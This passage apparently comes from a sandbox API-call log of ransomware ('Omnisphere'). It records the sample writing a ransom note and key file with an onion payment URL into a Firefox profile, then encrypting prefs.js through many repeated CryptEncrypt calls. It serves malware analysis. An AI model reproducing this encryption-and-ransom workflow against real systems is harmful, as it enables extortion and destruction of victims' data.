lpNumberOfBytesWritten=0x3e0cd60, lpOverlapped=0x0 | out: lpBuffer=0x3e0cd78*, lpNumberOfBytesWritten=0x3e0cd60*=0x524, lpOverlapped=0x0) returned 1 [0161.188] CloseHandle (hObject=0x388) returned 1 [0161.188] UnmapViewOfFile (lpBaseAddress=0x1480000) returned 1 [0161.188] CloseHandle (hObject=0x3c0) returned 1 [0161.188] SetEndOfFile (hFile=0x288) returned 1 [0161.188] FlushFileBuffers (hFile=0x288) returned 1 [0161.192] CloseHandle (hObject=0x288) returned 1 [0161.192] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\pluginreg.dat" | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default") returned 1 [0161.192] GetProcessHeap () returned 0x1600000 [0161.192] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x1747b48 [0161.192] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0161.192] GetProcessHeap () returned 0x1600000 [0161.192] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x1734198 [0161.192] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x1734198, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0161.192] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0161.192] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0161.192] GetProcessHeap () returned 0x1600000 [0161.192] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x17268b8 [0161.192] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x17268b8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0161.192] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0161.192] GetProcessHeap () returned 0x1600000 [0161.192] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xd2) returned 0x1730468 [0161.192] PathCombineW (in: pszDest=0x1730468, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\!DECRYPT_OMNISPHERE.txt" [0161.192] GetProcessHeap () returned 0x1600000 [0161.193] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x1735768 [0161.193] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x288 [0161.193] WriteFile (in: hFile=0x288, lpBuffer=0x1735768*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0d2f8, lpOverlapped=0x0 | out: lpBuffer=0x1735768*, lpNumberOfBytesWritten=0x3e0d2f8*=0x588, lpOverlapped=0x0) returned 1 [0161.193] CloseHandle (hObject=0x288) returned 1 [0161.193] GetProcessHeap () returned 0x1600000 [0161.193] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x1747b48 | out: hHeap=0x1600000) returned 1 [0161.193] GetProcessHeap () returned 0x1600000 [0161.193] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xc8) returned 0x162c6c8 [0161.193] PathCombineW (in: pszDest=0x162c6c8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\unique_decrypt.key" [0161.193] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x288 [0161.193] WriteFile (in: hFile=0x288, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0d30c, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0d30c*=0x5a0, lpOverlapped=0x0) returned 1 [0161.194] CloseHandle (hObject=0x288) returned 1 [0161.194] GetProcessHeap () returned 0x1600000 [0161.194] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x162c6c8 | out: hHeap=0x1600000) returned 1 [0161.194] GetProcessHeap () returned 0x1600000 [0161.194] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x16415f0 | out: hHeap=0x1600000) returned 1 [0161.194] FindNextFileW (in: hFindFile=0x16395e8, lpFindFileData=0x3e0d5a8 | out: lpFindFileData=0x3e0d5a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8285d1c, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xb8285d1c, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x93d01742, ftLastWriteTime.dwHighDateTime=0x1d4d5d3, nFileSizeHigh=0x0, nFileSizeLow=0x1fcd, dwReserved0=0x0, dwReserved1=0xcc, cFileName="prefs.js", cAlternateFileName="")) returned 1 [0161.194] GetProcessHeap () returned 0x1600000 [0161.194] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xb4) returned 0x172de48 [0161.194] PathCombineW (in: pszDest=0x172de48, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default", pszFile="prefs.js" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\prefs.js") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\prefs.js" [0161.194] StrStrW (lpFirst=".omnisphere", lpSrch=".js") returned 0x0 [0161.194] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\prefs.js" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\prefs.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x288 [0161.195] GetFileSizeEx (in: hFile=0x288, lpFileSize=0x3e0d2d0 | out: lpFileSize=0x3e0d2d0*=8141) returned 1 [0161.195] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x1aa9, lpNewFilePointer=0x0, dwMoveMethod=0x3e0d2c4 | out: lpNewFilePointer=0x0) returned 1 [0161.195] ReadFile (in: hFile=0x288, lpBuffer=0x3e0cd78, nNumberOfBytesToRead=0x524, lpNumberOfBytesRead=0x3e0d2c0, lpOverlapped=0x0 | out: lpBuffer=0x3e0cd78*, lpNumberOfBytesRead=0x3e0d2c0*=0x524, lpOverlapped=0x0) returned 1 [0161.210] GetTickCount () returned 0x11680b1 [0161.210] GetTickCount () returned 0x11680b1 [0161.210] GetTickCount () returned 0x11680b1 [0161.210] GetTickCount () returned 0x11680b1 [0161.210] GetTickCount () returned 0x11680b1 [0161.210] GetTickCount () returned 0x11680b1 [0161.210] GetTickCount () returned 0x11680b1 [0161.210] GetTickCount () returned 0x11680b1 [0161.210] GetTickCount () returned 0x11680b1 [0161.210] GetTickCount () returned 0x11680b1 [0161.210] GetTickCount () returned 0x11680b1 [0161.210] GetTickCount () returned 0x11680b1 [0161.210] GetTickCount () returned 0x11680b1 [0161.210] GetTickCount () returned 0x11680b1 [0161.210] GetTickCount () returned 0x11680b1 [0161.210] GetTickCount () returned 0x11680b1 [0161.211] GetTickCount () returned 0x11680b1 [0161.211] GetTickCount () returned 0x11680b1 [0161.211] GetTickCount () returned 0x11680b1 [0161.211] GetTickCount () returned 0x11680b1 [0161.211] GetTickCount () returned 0x11680b1 [0161.211] GetTickCount () returned 0x11680b1 [0161.211] GetTickCount () returned 0x11680b1 [0161.211] GetTickCount () returned 0x11680b1 [0161.211] GetTickCount () returned 0x11680b1 [0161.211] GetTickCount () returned 0x11680b1 [0161.211] GetTickCount () returned 0x11680b1 [0161.211] GetTickCount () returned 0x11680b1 [0161.211] GetTickCount () returned 0x11680b1 [0161.211] GetTickCount () returned 0x11680b1 [0161.211] GetTickCount () returned 0x11680b1 [0161.211] GetTickCount () returned 0x11680b1 [0161.211] CryptAcquireContextW (in: phProv=0x3e0cd58, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0cd58*=0x16683d8) returned 1 [0161.212] CryptImportKey (in: hProv=0x16683d8, pbData=0x3e0ccc0, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0cd64 | out: phKey=0x3e0cd64*=0x1639b28) returned 1 [0161.212] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0d210*, pdwDataLen=0x3e0cd54*=0x75, dwBufLen=0x80 | out: pbData=0x3e0d210*, pdwDataLen=0x3e0cd54*=0x80) returned 1 [0161.212] CryptDestroyKey (hKey=0x1639b28) returned 1 [0161.212] CryptReleaseContext (hProv=0x16683d8, dwFlags=0x0) returned 1 [0161.212] CreateFileMappingW (hFile=0x288, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1fcd, lpName=0x0) returned 0x3c0 [0161.212] MapViewOfFile (hFileMappingObject=0x3c0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1fcd) returned 0x1480000 [0161.225] CryptAcquireContextW (in: phProv=0x3e0cd48, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0cd48*=0x16683d8) returned 1 [0161.226] CryptImportKey (in: hProv=0x16683d8, pbData=0x3e0cd00, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0cd58 | out: phKey=0x3e0cd58*=0x1639b28) returned 1 [0161.226] CryptSetKeyParam (hKey=0x1639b28, dwParam=0x4, pbData=0x3e0cd3c*=0x2, dwFlags=0x0) returned 1 [0161.226] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0cd44*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0cd44*=0x10) returned 1 [0161.226] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.226] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.226] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.226] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.226] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.226] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.226] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.226] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.226] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.226] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.226] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.226] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.226] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.226] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.226] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.226] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.227] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.227] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.227] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.227] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.227] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.227] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.227] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.227] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.227] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.227] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.227] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.227] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.227] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.227] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.227] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.227] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.227] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.227] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.227] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.227] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.227] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.227] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.227] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.228] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.228] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.228] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.228] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.228] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.228] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.228] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.228] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.228] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.228] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.228] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.228] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.228] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.228] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.228] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.228] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.228] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.228] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.228] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.228] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, 